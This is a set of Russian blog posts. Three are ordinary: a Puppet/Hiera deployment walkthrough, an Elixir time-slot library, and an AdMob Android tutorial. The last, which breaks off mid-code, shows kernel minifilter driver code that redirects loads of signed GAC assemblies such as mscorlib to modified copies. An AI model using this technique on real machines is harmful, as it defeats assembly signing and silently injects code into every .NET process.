REMOTE_REV=`git ls-remote --tags | grep "latest" | awk '{print $1}'`
if [ $LOCAL_REV = $REMOTE_REV ]; then
exit 0
fi
git fetch --all --tags --prune
git checkout -f tags/latest
fi
# replace puppet configs
cp puppet_config/hiera.yaml /etc/puppetlabs/code/environments/$PUPPET_ENV/
# replace hiera db
rm /etc/puppetlabs/code/environments/$PUPPET_ENV/hieradata/*
cp -r $PUPPET_ENV/hieradata/* /etc/puppetlabs/code/environments/$PUPPET_ENV/hieradata
# replace storyline_* modules
rm -r /etc/puppetlabs/code/environments/$PUPPET_ENV/modules/storyline_*
cp -r modules/* /etc/puppetlabs/code/environments/$PUPPET_ENV/modules
# copy site.pp
cp $PUPPET_ENV/site.pp /etc/puppetlabs/code/environments/$PUPPET_ENV/manifests/site.pp
#echo "hostname:"
#hostname
$PUPPET_BIN apply /etc/puppetlabs/code/environments/$PUPPET_ENV/manifests/site.pp
echo $REMOTE_REV > local_latest.sha1
```
В моём случае, конечно же, используется децентрализованная система, т.к. она проще для реализации (с точки зрения организации инфраструктуры) и она значительно упрощает скрипты сборки для развёртывания тестового стенда, который у меня создаётся и запускается по несколько десятков раз на дню.
При запуске указанного скрипта:
1. устанавливается сам клиент Puppet и необходимые пакеты
2. инсталлируются необходимые модули Puppet
3. сверяется изменение номера коммита для метки «latest» (делается при успешном интеграционном тестировании новой версии)
4. заменяется конфигурация (hiera.yaml) БД Hiera Puppet в текущем окружении (переменная $PUPPET\_ENV);
5. заменяются YAML-файлы с данными для БД Hiera Puppet;
6. копируются с заменой описания моих модулей;
7. копируется конфигурация с узлами (серверами моей системы);
8. вызывается применение всех тех настроек, что были скопированы/установлены ($PUPPET\_BIN apply ….)
Список задач, которые выполняет клиент Puppet при запуске огромен (проверка и необходимое выполнение руками была бы просто невозможна):
* выставляются лимиты на открытые файлы, задействованный объем памяти, свапирование и количество соединений;
* настраивается ротация логов (как для системы, так и для моего приложения и необходимых ему сервисов);
* создаются необходимые учётные записи для администрирования с необходимыми группами и полномочиями;
* устанавливается и настраивается NTP-сервер;
* устанавливается и настраивается SSH-сервер;
* устанавливается Oracle JDK;
* настраивается брандмауэр;
* устанавливается и настраивается большое количество компонентов, необходимых для функционирования проекта или его компонента на данном конкретном узле.
### Примеры из жизни
При разработки системы скриптов Puppet для своего стенда я разрабатывал собственные модули, которые копируются на машину/контейнер, на которой выполнялся Puppet код. Модули содержат в себе данные (в большинстве конфигурационные файлы) и Puppet код для настройки. Основные настройки я выносил из скриптов в Hiera — как результат скрипты получались достаточно универсальными и не зависящими от узлов, на которых они выполняются.
Приведу несколько примеров кода и настроек.
Настройка ngnix (не из пакетов, а из родного репозитария) (спрятал в блок спойлер в связи с размерами. Но для заинтересованных — обязателен к просмотру Очень много нюансов видны при его изучении)
**Класс nginx из модуля storyline\_infra**
```
class storyline_infra::nginx () {
$params = lookup({"name" => "storyline_infra.nginx",
"merge" => {"strategy" => "deep"}})
$reverse_port = $params['reverse_port']
$reverse_url = $params['reverse_url']
$pid_file = $params['pid_file']
$init_script = $params['init_script']
$dir_data = $params['dir_data']
$dir_logs = $params['dir_logs']
$version = $params['version']
$enabled_startup = $params['enabled_startup']
$enabled_running = $params['enabled_running']
# topology_configuration
$enabled_topology_configuration = $params['enabled_topology_configuration']
$topology_configuration_port = $params['topology_configuration_port']
# создать соотвествующего пользователя (при необходимости)
user { 'nginx':
ensure => "present",
managehome => true,
}
# создать необходимые каталоги (при необходимости)
exec { "nginx-mkdir":
command => "/bin/mkdir -p /data/db && /bin/mkdir -p /data/logs",
cwd => "/",
unless => '/usr/bin/test -d /data/db -a -d /data/logs',
} ->
# working dir
file { [ $dir_logs, $dir_data] :
ensure => "directory",
recurse => "true",
owner => "nginx",
group=> "nginx",
require => Exec['nginx-mkdir'],
}
# добавить необходимые ключи в менеджер пакетов (при необходимости)
# see by "gpg --verify keyfile"
apt::key { 'nginx-key':
id => '573BFD6B3D8FBC641079A6ABABF5BD827BD9BF62',
source => 'http://nginx.org/keys/nginx_signing.key',
} ->
# добавить источник (при необходимости)
# deb http://nginx.org/packages/ubuntu/ xenial nginx
apt::source { 'nginx-repo':
comment => 'nginx repo',
location => "http://nginx.org/packages/ubuntu/",
release => "xenial",
repos => "nginx",
include => {
'deb' => true,
'deb-src' => true,
},
} ->
# осуществить установку пакета (при необходимости)
package { 'nginx':
ensure => $version,
# notify => Exec['disable_nginx'],
} →
# выполнить копирование конфигурационного файла из данных модуля (при необходимости). При этом сам файл шаблона содержит подстановочные знаки, которые заменяются переменными класса. Крайне удобный функционал!!!
file { "/etc/nginx/nginx.conf":
replace => true,
content => epp('storyline_infra/nginx.epp'),
owner => "nginx",
group=> "nginx",
notify => Service['nginx'],
}->
# выполнить копирование конфигурационного файла из данных модуля (при необходимости)
file { "/etc/nginx/conf.d/default.conf":
replace => true,
content => epp('storyline_infra/nginx_default.epp'),
owner => "nginx",
group=> "nginx",
notify => Service['nginx'],
}→
# выполнить копирование конфигурационного файла из данных модуля (при необходимости)
file { $init_script:
replace => true,
content => epp('storyline_infra/nginx_startup.epp'),
mode=>"ug=rwx,o=r",
notify => Service['nginx'],
}→
# настроить службу/скрипты запуска (при необходимости)
service { 'nginx':
ensure => $enabled_running,
enable => $enabled_startup,
start => "${init_script} start",
stop => "${init_script} stop",
status => "${init_script} status",
restart => "${init_script} restart",
hasrestart => true,
hasstatus => true,
}
# дополнительные настройки nginx (при необходимости)
if $enabled_topology_configuration {
file { "/etc/nginx/conf.d/topology.conf":
replace => true,
content => epp('storyline_infra/nginx_topology.epp'),
mode=>"ug=rwx,o=r",
notify => Service['nginx'],
}
}
# отключение автозапуска встроенными средствами (при необходимости)
if $enabled_startup != true {
exec { "disable_nginx":
require => Package['nginx'],
command => "/bin/systemctl disable nginx",
cwd => "/",
}
}
}
```
Как видите в каждом комментарии перед определением ресурса указано — «при необходимости». Puppet никогда не будет выполнять каких-либо операций если состояние ресурса уже соответствует его определению.
В данном случае видно как с помощью кода `«$params = lookup({"name" => "storyline_infra.nginx", "merge" => {"strategy" => "deep"}})»` получаются данные из Hiera (примеры её данных я приведу позже), которые в дальнейшем используются для заполнения всех переменных.
Конфигурационный файл Hiera:
```
---
version: 5
defaults:
datadir: "hieradata"
data_hash: yaml_data
hierarchy:
- name: "1"
path: "nodes/%{trusted.certname}.yaml"
- name: "2"
path: "version.yaml"
- name: "3"
path: "common.yaml"
```
В данном случае видна иерархия (ключ «hierarchy») источник, где каждый источник на более высоком уровне переопределяет значения ключей на боле низком. Это позволяет и иметь ключ, например, «www.server.port» со значением «80» в «common.yaml» и со значением «81» в «nodes/webserver1.yaml» — в итоге мы получим значение данного ключа при выполнении Puppet кода: «81» на узле с именем «webserver1» и «80» на всех остальных.
Hiera's common.yaml
```
---
limits::entries:
'*/nofile':
both: 1048576
'*/memlock':
both: unlimited
logrotate::config:
su_user: root
su_group: syslog
compress: true
# sysctl
sysctl::base::purge: false
sysctl::base::values:
net.core.somaxconn:
value: '65536'
vm.swappiness:
ensure: absent
fs.file-max:
value: '500000'
vm.max_map_count:
value: '262144'
storyline_base:
oracle_java:
version: "8u92"
storyline_infra:
collectd:
server_address: "XXX.nlp-project.ru"
pid_file: '/data/logs/collectd/collectd.pid'
init_script: '/etc/init.d/collectd'
dir_data: '/data/db/collectd'
dir_logs: '/data/logs/collectd'
version: "1.2.0-1"
enabled_mongodb: false
mongodb_user: "collectd"
mongodb_password: "######"
enabled_storm: false
enabled_elasticsearch: false
elasticsearch_port: "####"
elasticsearch_cluster: "elastic_storyline"
enabled_startup: false
enabled_running: true
influxdb:
port_http: "####"
port_rpc: "####"
pid_file: '/data/logs/influxdb/influxdb.pid'
init_script: '/etc/init.d/influxdb'
dir_data: '/data/db/influxdb'
dir_logs: '/data/logs/influxdb'
version: "present"
enabled_auth: true
enabled_startup: false
enabled_running: true
….
```
site.pp (файл с определением Puppet узлов)
```
node "XXX.nlp-project.ru" {
include ::limits
include ::sysctl::base
include ::logrotate
include storyline_base::ntp
include storyline_base::srv_oper
include storyline_base::ssh
include storyline_base::oracle_java
…..
include storyline_infra::monit
include storyline_base::firewall
}
node "YYYY.nlp-project.ru" {
include ::limits
include ::sysctl::base
include ::logrotate
include storyline_base::ntp
include storyline_base::srv_oper
include storyline_base::ssh
include storyline_base::oracle_java
….
include storyline_infra::zookeeper
include storyline_components::server_storm
include storyline_infra::monit
include storyline_base::firewall
}
```
Если кого-то заинтересует конкретная реализация какой-либо из задач: пишите – отпишу реализацию в комменте или добавлю в «Tips».
Puppet активно развивается: явно прослеживается улучшение синтаксиса и унификация поведения классов в зависимости от контекста использования (однако до сих пор остаются некоторые специфичные особенности разрешения переменных в разных контекстах, что иногда приводит к путанице).
### Tips
* При разработке модуля не забывать писать код не только для добавления функции, но и для её отключения. При отсутствии такого функционала при переносе компонента на другой сервер у вас их будет 2: на новом и на старом месте — на старом потребуется удалять руками, что противоречит основной задаче по автоматизации управления конфигурациями;
* Хорошие книги по Puppet для начинающих – [Learning Puppet](https://www.amazon.com/Learning-Puppet-Second-Jussi-Heinonen/dp/1784399833) и [Puppet 4 Essentials](https://www.amazon.com/Puppet-Essentials-Second-Felix-Frank-ebook/dp/B0166Y6YIU);
* Хороший модуль для получения артефактов из nexus sonatype (https://github.com/cescoffier/puppet-nexus);
* Максимальное количество параметров выносите в файлы-данные Hiera для легкости конфигурации узлов и достижения универсальности кода самих модулей.
Спасибо за внимание! | https://habr.com/ru/post/335608/ | null | ru | null |
# «O tempora, o mores!»
Для протокола: заголовок я позаимствовал у Цицерона, в *Oratio in Catilinam Prima in Senatu Habita*.
---
В реальной жизни мы часто имеем дело с временны́ми интервалами. Свиданки с зубным врачом, бронирование гостиничных номеров, даже ежедневный обеденный перерыв: планирование всего этого — задача подгонки временно́го интервала в ряд других временны́х интервалов.
Допустим, нам пора навестить стоматолога. Я знаю, что мне нужен 1 час для ежегодной плановой проверки. Я могу посетить врача во время обеда или после работы. У доктора есть и другие пациенты. На диаграмме ниже мои рабочие часы показаны фиолетовым цветом, докторские — красным, нерабочие — серым, а счастливо найденный слот, когда мы оба свободны, — зеленым.
Беглого взгляда на эту диаграмму достаточно, чтобы определить время назначенной встречи. Завтра, в обеденное время. Легко, да?
К сожалению, ни один из известных мне языков программирования не предоставляет возможности определить это программно. Последние несколько лет я состою в тесных отношениях с эликсиром, поэтому пришлось написать библиотеку, решающую именно эту проблему.
Итак, встречайте [`**Tempus**`](https://hexdocs.pm/tempus/getting-started.html)!
### Детали реализации
Сущность, вокруг которой построена вся библиотека — `Slot`. Он представляет временной интервал самым естественным и простым способом: это структура, с полями `from` и `to`, оба типа `DateTime`. Набор слотов хранится в структуре `Slots`, под капотом реализованной как [`AVLTree`](https://en.wikipedia.org/wiki/AVL_tree). Этот выбор был сделан для того, чтобы сохранить базовый список слотов согласованным (упорядоченным и не перекрывающимся) с наименьшими затратами при оптимизации доступа по чтению и записи. Обычно список слотов заполняется при инициализации и потом используется для проверки, поиска свободных интервалов, и тому подобного.
Функция [`Slots.add/2`](https://hexdocs.pm/tempus/Tempus.Slots.html#add/2) добавит в список слотов — новый, *объединяя слоты по мере необходимости*. Это позволяет просто вставлять новые слоты в конструкцию, не беспокоясь о порядке и перекрытии. Также предусмотрена вспомогательная функция [`Slots.merge/2`](https://hexdocs.pm/tempus/Tempus.Slots.html#merge/2) для объединения двух наборов слотов. Последнее особенно удобно, когда нужно, например, найти пустой слот в обеих сериях, как в примере с выбором времени посещения дантиста выше.
Можно также проверить любое время на предмет занятости при помощи функций их модуля [`Slot`](https://hexdocs.pm/tempus/Tempus.Slot.html#content): покрывает ли слот заданное время (или другой слот), являются ли слоты непересекающимися, или нет и т. д.
### Модуль `Tempus`
Основной модуль экспортирует функции для работы со слотами, как с прерывистой временной шкалой. Можно добавить любой произвольный интервал времени к началу координат, принимая во внимание слоты; проверить, свободен ли этот интервал, или уже занят слотами, получить следующий свободный или следующий занятый слот, инвертировать временную шкалу, и многое другое.
Вот незамысловатый пример из тестов:
```
slots =
[
Tempus.Slot.wrap(~D|2020-08-07|), # whole day
%Tempus.Slot{
from: ~U|2020-08-08 01:01:00Z|, # one minute
to: ~U|2020-08-08 01:02:00Z|
},
%Tempus.Slot{
from: ~U|2020-08-08 01:03:00Z|, # one minute
to: ~U|2020-08-08 01:04:00Z|
}
]
|> Enum.into(%Tempus.Slots{})
```
Если добавить `0` секунд ко времени, уже занятому слотом, вернется первое доступное время *после* занятого промежутка.
```
Tempus.add(slots, ~U|2020-08-08 01:01:30Z|, 0, :second)
#⇒ ~U[2020-08-08 01:02:00Z]
```
Добавив 70 секунд ко времени, на пять секунд предшествующему первому занятому слоту — `~U[2020-08-08 01:00:55Z]` — вернется экземпляр `DateTime` через пять секунд после второго занятого слота (`5sec + занято + 60sec + занято + 5sec`):
```
Tempus.add(slots, ~U|2020-08-08 01:00:55Z|, 70, :second)
#⇒ ~U[2020-08-08 01:04:05Z]
```
И так далее. Разумеется, можно добавлять и отрицательные значения.
### Слияние наборов слотов
`Slots.merge/2` понимает `Stream` в качестве второго аргумента. На данный момент библиотека не поддерживает слияние и использование двух потоков слотов, но вливание потока в существующие временные интервалы возможно. Это может быть полезно, когда у нас есть короткий список, скажем, праздников, и мы хотим объединить его с повторяющимися слотами, например с выходными.
Все функции, возвращающие `Slots` и / или `Slot` — гарантированно отдают допустимые объекты (нормализованные, упорядоченные и объединенные по мере необходимости).
### Что еще?
Текущая реализация покрывает только наши внутренние потребности, поэтому я был бы рад услышать о том, чего не хватает этой библиотеке и что следует в нее добавить.
---
Удачных временных интервалов! | https://habr.com/ru/post/517926/ | null | ru | null |
# Монетизация Android-приложения с помощью рекламы от AdMob с возможностью платного отключения. Часть первая
Всем привет! На Хабрахабре уже была [статья](http://habrahabr.ru/blogs/android_development/124098/) о том, как сделать платное отключение рекламы в Android-приложении, где предлагалось использовать open-source библиотеку [Android Billing Library](https://github.com/robotmedia/AndroidBillingLibrary). В данной статье я хочу рассказать о том, как реализовать подобный функционал при помощи системы внутренних платежей Android Market In-app Billing, не используя сторонних библиотек.
Статья состоит из двух частей. В первой части я подробно расскажу о том, как добавить рекламу от Google AdMob в свое приложение (данная часть в основном ориентирована на новичков), а во второй – как сделать ее платное отключение.
Для начала создадим проект простейшего приложения Android в среде Eclipse. О том, как это делается писать не буду (можете почитать об этом, например, [здесь](http://developer.android.com/resources/tutorials/hello-world.html)).
#### Установка необходимых компонентов
Для работы с AdMob нам необходимо установить Google AdMob Ads SDK, а также SDK для платформы Android версии 3.2 или выше (см. [здесь](http://code.google.com/intl/ru-RU/mobile/ads/docs/android/fundamentals.html#requirements)). Также установим пакет Google Market Billing (о нем речь пойдет во второй части статьи).
Откройте «Android SDK Manager» с помощью команды главного меню *Window* > *Android SDK Manager*.
Выберите необходимые пакеты для установки и нажмите кнопку «Install packages…».
После установки пакетов подключим AdMob Ads SDK к проекту. Для этого:
* Нажмите правой кнопкой мыши по проекту в «Project Explorer» и выберите «Properties» (свойства проекта).
* В левой части окна выберите пункт «Java Build Path».
* Нажмите кнопку «Add External JARs…».
* Выберите файл GoogleAdMobAdsSdk-4.3.1.jar, который находится в папке "%ANDROID%\extras\google\admob\_ads\_sdk\".
В результате, файл GoogleAdMobAdsSdk-4.3.1.jar должен отобразиться в структуре проекта.
#### Настройка конфигурации приложения
Далее открываем файл конфигурации приложения AndroidManifest.xml и вносим следующие правки:
* Опционально можете добавить параметр *android:installLocation=«preferExternal»* в теге *manifest*. Использование этого параметра позволяет установить приложение на карту памяти.
* В теге *uses-sdk* добавляем параметр *android:targetSdkVersion=«13»*. Версия 13 соответствует SDK для платформы Android версии 3.2. Если вы устанавливали SDK более поздней версии, то вставьте соответствующий номер версии.
* Далее нужно добавить разрешения *ACCESS\_NETWORK\_STATE* и *INTERNET*.
* И на последок, добавьте тег *activity* с параметрами *android:configChanges=«keyboard|keyboardHidden|orientation|screenLayout|uiMode|screenSize|smallestScreenSize»* и *android:name=«com.google.ads.AdActivity»* в теле тега *application*.
Ниже представлено содержание файла AndroidManifest.xml.
```
xml version="1.0" encoding="utf-8"?
```
Теперь нам нужно снова вызвать свойства проекта. В левой части окна выберите пункт «Android». Затем в правой части выберите Android 3.2 на панели «Project Build Target». Если вы устанавливали SDK для Android более поздней версии, то выберите ее.
#### Получение AdMob Publisher ID
Далее, заходим на сайт [www.admob.com](http://www.admob.com) (можете использовать для авторизации свой Google-аккаунт). Здесь нам нужно получить «Publisher ID» для привязки рекламы к нашему приложению. Заходим в раздел «Sites & Apps» и выбираем «Android App».
После ввода необходимых полей наше приложение должно появиться в списке «Sites & Apps». Теперь наводим курсор на название приложения и нажимаем появившуюся кнопку «Manage Settings».
После чего мы попадаем на страницу, на которой указан «Publisher ID» для нашего приложения. Скопируйте его, он нам пригодится далее.
#### Добавление рекламного баннера в приложение
Снова возвращаемся в проект. Откройте файл res/values/strings.xml и создайте следующее строковое значение:
```
скопированный ранее Publisher ID
```
Теперь откройте файл res/layout/main.xml.
Внесем в файл следующие изменения:
* Добавьте в корневой тег *LinearLayout* параметр xmlns:ads=«[schemas.android.com/apk/lib/com.google.ads](http://schemas.android.com/apk/lib/com.google.ads)»
* Добавьте еще один *LinearLayout* и переместите в него *TextView*.
* Добавьте в новый *LinearLayout* параметр ***android:layout\_weight=«1»***. Это нужно, чтобы он не перекрывал рекламный баннер.
* Добавьте компонент com.google.ads.AdView:
Ниже показано содержимое файла main.xml.
```
xml version="1.0" encoding="utf-8"?
```
В режиме «Graphic Layout» разметка выглядит следующим образом:
Теперь подключаем свое устройство (или эмулятор) и нажимаем *Run*. Смотрим, что получилось.
#### Заключение
В результате проделанных действий мы добавили рекламу AdMob в свое приложение. Как видно, сделать это довольно не сложно.
Следующим этапом будет разработка функционала для платного отключения рекламы при помощи Android MArket In-app Billing, о чем я расскажу в следующей части статьи.
Исходники разработанного приложения можно скачать [здесь](http://narod.ru/disk/33102740001/BillingSample.zip.html).
Спасибо за внимание. Надеюсь, что кому-то материал будет полезен. Буду рад вашим комментариям.
#### Использованные источники
1. [Google AdMob Ads Android Fundamentals](http://code.google.com/intl/ru-RU/mobile/ads/docs/android/fundamentals.html)
2. [Hello, World | Android Developers](http://developer.android.com/resources/tutorials/hello-world.html)
3. [Stack Overflow](http://stackoverflow.com)
To be continued… | https://habr.com/ru/post/133858/ | null | ru | null |
# Изменение кода системных сборок или «утечка» .Net Framework 5.0
Здесь я продемонстрирую возможность, которая по своей сути — самый настоящий хак. Вопрос, зачем это может понадобиться? На самом деле целей для этого может быть огромное множество. Итак наша задача — изменить код библиотеки **mscorlib** таким образом, чтобы все программы, которые ей пользуются, получили эти изменения. Не рантайм, конечно, а во время старта (для runtime необходимо проделать другие вещи, и тут надо оговориться что изменения эти не должны поломать текущие состояния библиотеки). Mscorlib я взял как пример, потому что она есть у всех на компьютере. Но можно хакать любую другую.
Все мы знаем, что для того, чтобы не было «ада dll», Microsoft помимо обычных версий и названия библиотек, дали возможность подписывать сборки ключом, public key которой гарантирует что конкретная сборка «пришла» от конкретного разработчика, а не от какого-то другого. Поэтому, если мы хотим по какой-то вполне добросовестной причине изменить код существующей библиотеки т.о., чтобы она загрузилась в чужой процесс и при этом ключик public key остался тем же, у нас этого не получится. Потому что мы не сможем ее подписать, у нас нет закрытого ключа.
Наша мини цель, чтобы программа вывела на консоль текст:
**Для начала, полный список выложенных на Хабре статей данного цикла**[ Делаем отгружаемые сборки: взаимодействуем между доменами без маршаллинга](http://habrahabr.ru/company/luxoft/blog/247491/)
[ Получение указателя на объект .Net](http://habrahabr.ru/company/luxoft/blog/219619/)
[ Ручное клонирование потока. Когда Assembler + C# или Java = Love](http://habrahabr.ru/company/luxoft/blog/238947/)
[ Изменение кода системных сборок или «утечка» .Net Framework 5.0](http://habrahabr.ru/company/luxoft/blog/239005/)
[ Как работает декомпиляция в .Net или Java на примере .Net](http://habrahabr.ru/company/luxoft/blog/244095/)
[ Продолжаем кромсать CLR: пул объектов .Net вне куч SOH/LOH](http://habrahabr.ru/company/luxoft/blog/247433/)
[ Снимаем дамп объектов с памяти .Net приложения](http://habrahabr.ru/company/luxoft/blog/247447/)
Краткое содержание:
1. [Введение](#Intro)
2. [Разработка драйвера](#Driver)
3. [Выводы по разработке драйвера](#DriverResults)
4. [Написание сервиса Windows](#WinService)
5. [Изменение кода mscorlib.dll](#Mscorlib)
6. [Результаты исследования](#Results)
Введение
--------
Сегодня речь пойдет о сборках, находящихся в GAC и в NAC. Я выяснил, что .NET Framework очень чутко относится к структуре GAC. Он доверяет ей настолько, что загружает оттуда сборки, не особо проверяя номер версии. Потому для того чтобы сделать подмену нам надо не так много: нам необходимо написать драйвер уровня ядра для того чтобы перенаправлять обращения к определенным файлам в другое место. Я для этого воспользовался возможностью filesystem filters. Суть проста: для того чтобы не писать много кода в самом драйвере, пишется протокол между Kernel-space и user-space. Со стороны user-space выступает windows — service приложение. Оно общается с драйвером, дает ему команды, что куда перенаправлять. А тот в свою очередь перенаправляет. Для того чтобы менять код существующей библиотеки, например, mscorlib, можно воспользоваться либо Reflexil, либо Mono::Cecil.
Порядок действий:
* Меняем сборку (Reflexil или Mono::Cecil) по сборке mscorlib и получаем видоизмененную сборку. Например, встраиваем в нее логгирование;
* Кладем результат в tmp каталог;
* Добавляем redirection «C:\Windows\Microsoft.NET\assembly\GAC\_64\mscorlib\v4.0\_4.0.0.0\_\_b77a5c561934e089\mscorlib.dll» на, например, «C:\tmp\mscorlib64.dll» — видоизмененная сборка.
И мы получаем при последующих запусках всех приложений на .net логгирования системной библиотеки. Для порядка, необходимо чтобы драйвер фильтровал также по номерам процессов, кому конкретно давать «левак», а кому — оригинальную библиотеку.
Разработка драйвера
-------------------
Для начала устанавливаем VirtualBox. Он нам понадобится чтобы отлаживать драйвер. Нам же не хочется перезапускаться каждый раз, когда наш драйвер будет обращаться не по тем адресам и вылетать с ошибкой (естественно, с BSOD'ом). На виртуалки накатываем образы Windows XP и Windows 7, x86 и x64 и снимаем снапшоты, чтобы было куда откатываться.
Далее устанавливаем на девелоперскую машину VisualDDK, WinDDK, и прочую инфраструктуру для разработки драйверов.
Далее пишем сам драйвер. Я не буду выкладывать полные листинги, а только важные их части. Оговорюсь только что пишем мы Minifilter Filesystem Driver.
1) Регистрация фильтра:
```
const FLT_OPERATION_REGISTRATION Callbacks[] = {
{ IRP_MJ_CREATE,
0,
PbPreOperationCreateCallback,
PbPostOperationCreateCallback },
{ IRP_MJ_NETWORK_QUERY_OPEN,
0,
PbPreOperationNetworkQueryOpenCallback,
NULL },
{ IRP_MJ_OPERATION_END }
};
CONST FLT_REGISTRATION FilterRegistration = {
sizeof( FLT_REGISTRATION ), // Size
FLT_REGISTRATION_VERSION, // Version
0, // Flags
NULL, // Context
Callbacks, // Operation callbacks
PtFilterUnload, // FilterUnload
PtInstanceSetup, // InstanceSetup
PtInstanceQueryTeardown, // InstanceQueryTeardown
PtInstanceTeardownStart, // InstanceTeardownStart
PtInstanceTeardownComplete, // InstanceTeardownComplete
PtGenerateFileName, // GenerateFileName
PtNormalizeNameComponent // NormalizeNameComponent
};
```
Тут все просто. Вводим структуры для регистрации драйвера фильтра. Фильтр будет работать на всех volumes, и перехватывать операцию CreateFile (создание/открытие файла)
Инициализация драйвера также не должна вызывать вопросов у опытных людей. Просто перечислю, что тут происходит:
* драйвер регистрируется в системе
* делается нотификация, которая будет нас уведомлять о новых процессах в системе
* поднимается Communitation Port для общения с пользовательским уровнем (3 кольцо защиты, приложения Windows), где нас ожидает сервис Windows, который будет описан ниже
```
CPP_DRIVER_ENTRY (
__in PDRIVER_OBJECT DriverObject,
__in PUNICODE_STRING RegistryPath
)
{
/* locals */
NTSTATUS status;
OBJECT_ATTRIBUTES attr;
UNICODE_STRING portName;
PSECURITY_DESCRIPTOR securityDescriptor;
/* unused */
UNREFERENCED_PARAMETER( RegistryPath );
/* code */
__try {
// Set DRIVER_DATA to zeroes
memset(&DRIVER_DATA, 0, sizeof(DRIVER_DATA));
/* Setup process creation callback */
status = Xu(&PsProcessNotify, FALSE);
if( !NT_SUCCESS( status )) __leave;
SetFlag(DRIVER_DATA.initialized, FILTER_SUBSYSTEM_PROCESS);
// Get exported OS functions
DECLARE_CONST_UNICODE_STRING( Func1, L"IoReplaceFileObjectName" ); // Win7+
DRIVER_DATA.pfnIoReplaceFileObjectName = (PIOREPLACEFILEOBJECTNAME) MmGetSystemRoutineAddress((PUNICODE_STRING) &Func1 );
// Register filter
status = FltRegisterFilter( DriverObject,
&FilterRegistration,
&DRIVER_DATA.fltHandle );
if ( !NT_SUCCESS( status )) __leave;
SetFlag(DRIVER_DATA.initialized, FILTER_SUBSYSTEM_DRIVER);
FltInitializePushLock(&DRIVER_DATA.Sync);
SetFlag(DRIVER_DATA.initialized, FILTER_SUBSYSTEM_LOCK);
// Setup security descriptor
status = FltBuildDefaultSecurityDescriptor( &securityDescriptor, FLT_PORT_ALL_ACCESS );
if ( !NT_SUCCESS( status )) __leave;
RtlInitUnicodeString( &portName, PbCommPortName );
InitializeObjectAttributes( &attr, &portName, OBJ_CASE_INSENSITIVE | OBJ_KERNEL_HANDLE, NULL, securityDescriptor );
status = FltCreateCommunicationPort( DRIVER_DATA.fltHandle, &DRIVER_DATA.Connection.ServerPort, &attr, NULL, CommPortConnect, CommPortDisconnect, CommPortMessageNotify, 1 );
if ( !NT_SUCCESS( status )) __leave;
SetFlag(DRIVER_DATA.initialized, FILTER_SUBSYSTEM_COMPORT);
// Free the security descriptor in all cases. It is not needed once the call to FltCreateCommunicationPort( ) is made.
FltFreeSecurityDescriptor( securityDescriptor );
if ( !NT_SUCCESS( status )) __leave;
// Start filtering i/o
status = FltStartFiltering( DRIVER_DATA.fltHandle );
if ( !NT_SUCCESS( status )) __leave;
ASSERT( NT_SUCCESS( status ) );
DRIVER_DATA.State = DRIVER_STATE_STARTED;
} __finally
{
if(!NT_SUCCESS( status ))
{
DeregisterFilter();
}
}
return status;
}
```
Выход из фильтра также прост:
Скажу только что **DeregisterFilter** занимается освобождением всех ресурсов. основываясь на выставленных флагах в DRIVER\_DATA.Initialized (см. код выше)
```
NTSTATUS
PtFilterUnload(
__in FLT_FILTER_UNLOAD_FLAGS Flags
)
{
UNREFERENCED_PARAMETER( Flags );
PAGED_CODE();
DeregisterFilter();
DbgPrint("PoliciesSandbox!PtFilterUnload: Entered\n");
return STATUS_SUCCESS;
}
```
Далее. Теперь нам необходимо знать что и куда перенаправлять. Какой файл и куда. Для этого я сделал небольшой протокольчик между kernel-mode и user-mode по communication port, оторый мы подняли в DriverEntry
Определяем набор команд:
```
typedef enum {
// From verson = v1.0
// From User-space to Kernel-space
GetVersion,
GetFilesystemRedirections,
AddFilesystemByPIDRedirection,
RemoveFilesystemByPIDRedirection,
GetRegistryRedirections,
AddRegistryByPIDRedirection,
RemoveRegistryByPIDRedirection,
// From Kernel-space to User-space
ProcessAttached,
CancelIOCompletionPort
// Version v2.0 is here
} COMM_COMMAND;
```
Определяем структуру базы всех команд:
```
typedef struct {
COMM_COMMAND Command;
USHORT Data[];
} COMM_MESSAGE, *PCOMM_MESSAGE;
```
Определяем структуру, посылаемую сервису Windows для уведомления о новом процессе в системе:
```
typedef struct
{
ULONG Pid;
} COMM_PROCESS_ATTACHED, *PCOMM_PROCESS_ATTACHED;
```
Опеделяем структуру-ответ:
```
typedef struct
{
USHORT NeedToMonitor;
USHORT IsCompleted; // true, if this packet contains all redirections, needed by driver. Otherwice, driver needs to ask more
USHORT PairsCount; // redirections count. Actually, count of null-terminated strings in Data
struct { // positions of redirections to make searching fast
USHORT From;
USHORT To;
} Positions[64];
WCHAR Data[];
} COMM_FS_REDIRECTIONS, *PCOMM_FS_REDIRECTIONS;
```
Также вводим структуры для хранения данных в драйвере:
```
typedef struct _MAPPING_ENTRY {
UNICODE_STRING OldName;
UNICODE_STRING NewName;
_MAPPING_ENTRY *Next;
} MAPPING_ENTRY, *PMAPPING_ENTRY;
typedef struct _PROCESSES_MAP_ENTRY {
ULONG Pid;
PMAPPING_ENTRY entries;
_PROCESSES_MAP_ENTRY *Prev, *Next;
} PROCESSES_MAP_ENTRY, *PPROCESSES_MAP_ENTRY;
```
Теперь, когда все определено, необходимо при старте нового процесса (а мы уже его перехватываем) оповестить об этом сервис, который в качестве ответа отдаст нам набор правил редиректа файлов и папок в зависимости от этого процесса.
Я не буду включать код функций, очищающих память, т.к. это не так интересно.
При вызове функции ей передается создавший процесс, созданный и флаг, создан ли процесс либо он умирает. Т.е. функция оповещает нас и о создании и о смерти процесса.
Внутри ее, если процесс создается, мы оповещаем об этом сервис Windows, передавая PID процесса. По этому PID сервис находит у себя список правил редиректа и отдает их нам в качестве ответа:
```
VOID PsProcessNotify (
IN HANDLE ParentId,
IN HANDLE ProcessId,
IN BOOLEAN Create
)
{
NTSTATUS status;
if( HandleToULong( ProcessId ) <= 4) return;
/* Check exsisting data */
if(Create)
{
LARGE_INTEGER liTimeout;
DbgPrint("Process created: %x", ProcessId);
liTimeout.QuadPart = -((LONGLONG)1 * 10 * 1000 * 1000);
ULONG SenderBufferLength = MESSAGE_BUFFER_SIZE;
ULONG ReplyLength = MESSAGE_BUFFER_SIZE;
PCOMM_MESSAGE message = (PCOMM_MESSAGE)myNonPagedAlloc(MESSAGE_BUFFER_SIZE);
message->Command = ProcessAttached;
((PCOMM_PROCESS_ATTACHED)(&message->Data[0]))->Pid = HandleToULong(ProcessId);
status = FltSendMessage(DRIVER_DATA.fltHandle, &DRIVER_DATA.Connection.ClientPort,
message, SenderBufferLength, message, &ReplyLength,
&liTimeout);
if(ReplyLength > 0)
{
